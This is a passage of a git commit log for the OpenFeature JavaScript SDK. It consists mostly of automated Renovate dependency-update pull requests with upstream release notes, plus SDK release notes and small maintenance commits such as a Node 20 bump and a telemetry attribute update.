[`v4.41.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4410)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.40.2...v4.41.0)

*2025-05-18*

##### Features

- Detect named exports in more dynamic import scenarios
([#&#8203;5954](https://redirect.github.com/rollup/rollup/issues/5954))

##### Pull Requests

- [#&#8203;5949](https://redirect.github.com/rollup/rollup/pull/5949):
ci: use node 24 ([@&#8203;btea](https://redirect.github.com/btea),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5951](https://redirect.github.com/rollup/rollup/pull/5951):
chore(deps): update dependency pretty-bytes to v7
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5952](https://redirect.github.com/rollup/rollup/pull/5952):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5953](https://redirect.github.com/rollup/rollup/pull/5953):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5954](https://redirect.github.com/rollup/rollup/pull/5954):
enhance tree-shaking for dynamic imports
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi),
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5957](https://redirect.github.com/rollup/rollup/pull/5957):
chore(deps): update dependency lint-staged to v16
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5958](https://redirect.github.com/rollup/rollup/pull/5958):
fix(deps): update rust crate swc_compiler_base to v20
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5959](https://redirect.github.com/rollup/rollup/pull/5959):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5960](https://redirect.github.com/rollup/rollup/pull/5960):
Use spawn to run CLI tests
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4zMy42IiwidXBkYXRlZEluVmVyIjoiNDAuMzMuNiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-04 16:32:59 +00:00
renovate[bot] 52ed31ad96
chore(deps): update dependency esbuild to v0.25.5 (#1204)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`0.25.4` ->
`0.25.5`](https://renovatebot.com/diffs/npm/esbuild/0.25.4/0.25.5) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.25.4/0.25.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.25.4/0.25.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

###
[`v0.25.5`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0255)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.25.4...v0.25.5)

- Fix a regression with `browser` in `package.json`
([#&#8203;4187](https://redirect.github.com/evanw/esbuild/issues/4187))

The fix to
[#&#8203;4144](https://redirect.github.com/evanw/esbuild/issues/4144) in
version 0.25.3 introduced a regression that caused `browser` overrides
specified in `package.json` to fail to override relative path names that
end in a trailing slash. That behavior change affected the
`axios@0.30.0` package. This regression has been fixed, and now has test
coverage.

- Add support for certain keywords as TypeScript tuple labels
([#&#8203;4192](https://redirect.github.com/evanw/esbuild/issues/4192))

Previously esbuild could incorrectly fail to parse certain keywords as
TypeScript tuple labels that are parsed by the official TypeScript
compiler if they were followed by a `?` modifier. These labels included
`function`, `import`, `infer`, `new`, `readonly`, and `typeof`. With
this release, these keywords will now be parsed correctly. Here's an
example of some affected code:

    ```ts
    type Foo = [
      value: any,
      readonly?: boolean, // This is now parsed correctly
    ]
    ```

- Add CSS prefixes for the `stretch` sizing value
([#&#8203;4184](https://redirect.github.com/evanw/esbuild/issues/4184))

This release adds support for prefixing CSS declarations such as `div {
width: stretch }`. That CSS is now transformed into this depending on
what the `--target=` setting includes:

    ```css
    div {
      width: -webkit-fill-available;
      width: -moz-available;
      width: stretch;
    }
    ```

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4zMy42IiwidXBkYXRlZEluVmVyIjoiNDAuMzMuNiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-04 12:33:54 -04:00
Michael Beemer 3e6bcaef0b
refactor(telemetry): update telemetry attributes and remove unused evaluation data (#1189)
## This PR

- update the evaluation event to match the latest OTel semcon

### Related Issues

Fixes #1188

### Notes

Update the createEvaluationEvent to match the latest OpenTelemetry spec.
Unforutnately, this is a breaking change. I'll denote this in the
release notes but not in the library version. That's because we're
following the experimental OTel spec and the method itself is currently
undocumented except from the generated JS Doc.

It's also worth noting that OTel JS SDK event API doesn't currently
support object as attribute values. @dyladan will update the OTel SDK.

### Follow-up Tasks

Update the ToggleShop.

### How to test

`npm run test`

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-06-03 13:51:28 +00:00
renovate[bot] 66a3ce05af
chore(deps): update dependency @types/node to v22.15.23 (#1198)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`22.15.17` ->
`22.15.23`](https://renovatebot.com/diffs/npm/@types%2fnode/22.15.17/22.15.23)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.15.23?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.15.23?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/22.15.17/22.15.23?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/22.15.17/22.15.23?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xNi4wIiwidXBkYXRlZEluVmVyIjoiNDAuMzMuNiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-30 20:46:03 +00:00
renovate[bot] 1cb4a506aa
chore(deps): update dependency prettier to v3.5.3 (#1195)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://redirect.github.com/prettier/prettier)) | [`3.4.2` ->
`3.5.3`](https://renovatebot.com/diffs/npm/prettier/3.4.2/3.5.3) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.2/3.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.2/3.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.5.3`](https://redirect.github.com/prettier/prettier/compare/3.5.2...b51ba9d46765bcfab714ebca982bd04ad25ae562)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.5.2...3.5.3)

###
[`v3.5.2`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#352)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.5.1...3.5.2)


[diff](https://redirect.github.com/prettier/prettier/compare/3.5.1...3.5.2)

##### Remove `module-sync` condition
([#&#8203;17156](https://redirect.github.com/prettier/prettier/pull/17156)
by [@&#8203;fisker](https://redirect.github.com/fisker))

In Prettier 3.5.0, [we added `module-sync` condition to
`package.json`](https://prettier.io/blog/2025/02/09/3.5.0#use-esm-entrypoint-for-requireesm-16958-by-tats-u),
so that `require("prettier")` can use ESM version, but turns out it
doesn't work if CommonJS and ESM plugins both imports builtin plugins.
To solve this problem, we decide simply remove the `module-sync`
condition, so `require("prettier")` will still use the CommonJS version,
we'll revisit until `require(ESM)` feature is more stable.

###
[`v3.5.1`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#351)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.5.0...3.5.1)


[diff](https://redirect.github.com/prettier/prettier/compare/3.5.0...3.5.1)

##### Fix CLI crash when cache for old version exists
([#&#8203;17100](https://redirect.github.com/prettier/prettier/pull/17100)
by [@&#8203;sosukesuzuki](https://redirect.github.com/sosukesuzuki))

Prettier 3.5 uses a different cache format than previous versions,
Prettier 3.5.0 crashes when reading existing cache file, Prettier 3.5.1
fixed the problem.

##### Support dockercompose and github-actions-workflow in VSCode
([#&#8203;17101](https://redirect.github.com/prettier/prettier/pull/17101)
by [@&#8203;remcohaszing](https://redirect.github.com/remcohaszing))

Prettier now supports the `dockercompose` and `github-actions-workflow`
languages in Visual Studio Code.

###
[`v3.5.0`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#350)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.4.2...3.5.0)


[diff](https://redirect.github.com/prettier/prettier/compare/3.4.2...3.5.0)

🔗 [Release Notes](https://prettier.io/blog/2025/02/09/3.5.0.html)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xMS4xOCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-30 20:45:45 +00:00
Todd Baert 1f33453c23
chore: update node to v20+ (#1203)
node v18 is now EOL

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-05-29 19:38:31 +00:00
OpenFeature Bot 2838d6afce
chore(main): release nestjs-sdk 0.2.5 (#1183)
🤖 I have created a release *beep* *boop*
---


##
[0.2.5](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.4...nestjs-sdk-v0.2.5)
(2025-05-27)


###  New Features

* adds RequireFlagsEnabled decorator
([#1159](https://github.com/open-feature/js-sdk/issues/1159))
([59b8fe9](59b8fe904f))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2025-05-27 22:08:11 +00:00
Lukas Reining aadc7a6636
fix: environment for npm publish (#1202)
Adds the environment for NPM publish step of the pipeline to the correct
job.

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2025-05-27 23:51:57 +02:00
OpenFeature Bot dae36bba1f
chore(main): release angular-sdk 0.0.15 (#1201)
🤖 I have created a release *beep* *boop*
---


##
[0.0.15](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.14...angular-sdk-v0.0.15)
(2025-05-27)


### 🐛 Bug Fixes

* **angular:** update docs
([#1200](https://github.com/open-feature/js-sdk/issues/1200))
([b6ea588](b6ea5884f2))


### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/web-sdk bumped from * to 1.5.1

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2025-05-27 22:56:32 +02:00
Lukas Reining b6ea5884f2
fix(angular): update docs (#1200)
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2025-05-27 22:50:11 +02:00
renovate[bot] affdecb619
chore(deps): update dependency jest-preset-angular to v14.5.5 (#1192)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [jest-preset-angular](https://thymikee.github.io/jest-preset-angular)
([source](https://redirect.github.com/thymikee/jest-preset-angular)) |
[`14.5.1` ->
`14.5.5`](https://renovatebot.com/diffs/npm/jest-preset-angular/14.5.1/14.5.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-preset-angular/14.5.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-preset-angular/14.5.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-preset-angular/14.5.1/14.5.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-preset-angular/14.5.1/14.5.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>thymikee/jest-preset-angular (jest-preset-angular)</summary>

###
[`v14.5.5`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1455-2025-04-15)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.5.4...v14.5.5)

##### Bug Fixes

- fix: allow name exports for `presets` subpath
([9100baf](https://redirect.github.com/thymikee/jest-preset-angular/commit/9100baf))

###
[`v14.5.4`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1454-2025-03-31)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.5.3...v14.5.4)

##### Bug Fixes

- fix: warn when using both `isolatedModules` and
`emitDecoratorMetadata`
([#&#8203;3029](https://redirect.github.com/thymikee/jest-preset-angular/issues/3029))
([51db8f4](https://redirect.github.com/thymikee/jest-preset-angular/commit/51db8f4)),
closes
[#&#8203;3029](https://redirect.github.com/thymikee/jest-preset-angular/issues/3029)
- update dependency ts-jest to v29.3.0
([1d8415d](https://redirect.github.com/thymikee/jest-preset-angular/commit/1d8415d))

###
[`v14.5.3`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1453-2025-02-24)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.5.2...v14.5.3)

##### Bug Fixes

- build: update bundle `jit_transform.js`, closes
[#&#8203;2979](https://redirect.github.com/thymikee/jest-preset-angular/issues/2979)

###
[`v14.5.2`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1452-2025-02-21)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.5.1...v14.5.2)

##### Bug Fixes

- fix: transform `js` ESM file from `node_modules`
([b2b3934](https://redirect.github.com/thymikee/jest-preset-angular/commit/b2b3934)),
closes
[#&#8203;2913](https://redirect.github.com/thymikee/jest-preset-angular/issues/2913)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xMS4xOCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-26 17:57:01 +00:00
renovate[bot] f2121671fa
chore(deps): update dependency rxjs to v7.8.2 (#1193)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rxjs](https://rxjs.dev)
([source](https://redirect.github.com/reactivex/rxjs)) | [`7.8.1` ->
`7.8.2`](https://renovatebot.com/diffs/npm/rxjs/7.8.1/7.8.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rxjs/7.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rxjs/7.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rxjs/7.8.1/7.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rxjs/7.8.1/7.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>reactivex/rxjs (rxjs)</summary>

###
[`v7.8.2`](https://redirect.github.com/reactivex/rxjs/compare/7.8.1...7.8.2)

[Compare
Source](https://redirect.github.com/reactivex/rxjs/compare/7.8.1...7.8.2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xMS4xOCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-26 17:53:11 +00:00
OpenFeature Bot 9f887a965c
chore(main): release angular-sdk 0.0.14 (#1178)
🤖 I have created a release *beep* *boop*
---


##
[0.0.14](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.13...angular-sdk-v0.0.14)
(2025-05-25)


### 🐛 Bug Fixes

* **angular:** add license and url field to package.json
([b2784f5](b2784f53b8))


### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/web-sdk bumped from * to 1.5.1

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2025-05-25 12:07:48 +02:00
Lukas Reining b2784f53b8 fix(angular): add license and url field to package.json
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2025-05-25 12:00:05 +02:00
renovate[bot] 14761998bf
chore(deps): update dependency eslint-plugin-jsdoc to v50.6.14 (#1191)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`50.6.3` ->
`50.6.14`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/50.6.3/50.6.14)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/50.6.14?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/50.6.14?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/50.6.3/50.6.14?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/50.6.3/50.6.14?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v50.6.14`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.14)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.13...v50.6.14)

##### Bug Fixes

- **lines-before-block:** Switch to a whitelist of punctuators
([#&#8203;1385](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1385))
([0a30832](0a30832b41))

###
[`v50.6.13`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.13)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.12...v50.6.13)

##### Bug Fixes

- **`lines-before-block`:** Only trigger after ';', '}', '|', and '&'
([#&#8203;1383](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1383))
([19fa3dc](19fa3dcb32)),
closes
[#&#8203;1379](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1379)
[#&#8203;1343](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1343)

###
[`v50.6.12`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.12)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.11...v50.6.12)

##### Bug Fixes

- **`no-undefined-types`:** workaround `parse-imports-exports` bug in
handling trailing whitespace; fixes
[#&#8203;1373](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1373)
([#&#8203;1384](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1384))
([f32989c](f32989c259))

###
[`v50.6.11`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.11)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.10...v50.6.11)

##### Bug Fixes

- **`check-values`:** workaround `parse-imports-exports` bug in handling
trailing whitespace; fixes
[#&#8203;1373](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1373)
([#&#8203;1374](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1374))
([65b0dc0](65b0dc0f58))

###
[`v50.6.10`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.10)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.9...v50.6.10)

##### Bug Fixes

- **`check-values`, `no-undefined-types`:** avoid need for worker; fixes
[#&#8203;1371](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1371)
([#&#8203;1372](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1372))
([6d5c9fb](6d5c9fb650))

###
[`v50.6.9`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.9)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.8...v50.6.9)

##### Reverts

- Revert "refactor: replace `synckit` with `make-synchronized`
([#&#8203;1366](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1366))"
([#&#8203;1367](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1367))
([771eadf](771eadfa44))

###
[`v50.6.8`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.8)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.7...v50.6.8)

##### Bug Fixes

- add missing config type(s)
([#&#8203;1365](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1365))
([ed62262](ed622628fc))

###
[`v50.6.7`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.7)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.6...v50.6.7)

##### Bug Fixes

- **no-undefined-types:** allow any available identifier; fixes
[#&#8203;178](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/178),[#&#8203;1342](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1342)
([1c38930](1c38930dd1))

###
[`v50.6.6`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.6)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.5...v50.6.6)

##### Bug Fixes

- **`empty-tags`:** allow for JSDoc-block final asterisks; fixes
[#&#8203;670](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/670)
([23b4bfa](23b4bfa1a8))

###
[`v50.6.5`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.5)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.4...v50.6.5)

##### Bug Fixes

- **`text-escaping`:** always allow content in example tags; fixes
[#&#8203;1360](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1360)
([6baad05](6baad05aab))

###
[`v50.6.4`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.4)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.3...v50.6.4)

##### Bug Fixes

- force release
([9edf4b1](9edf4b18f9))
- force release
([b08733a](b08733a127))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xMS4xOCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-15 16:11:58 +00:00
renovate[bot] 43b14b4869
chore(deps): update dependency @types/node to v22.15.17 (#1190)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`22.15.3` ->
`22.15.17`](https://renovatebot.com/diffs/npm/@types%2fnode/22.15.3/22.15.17)
|
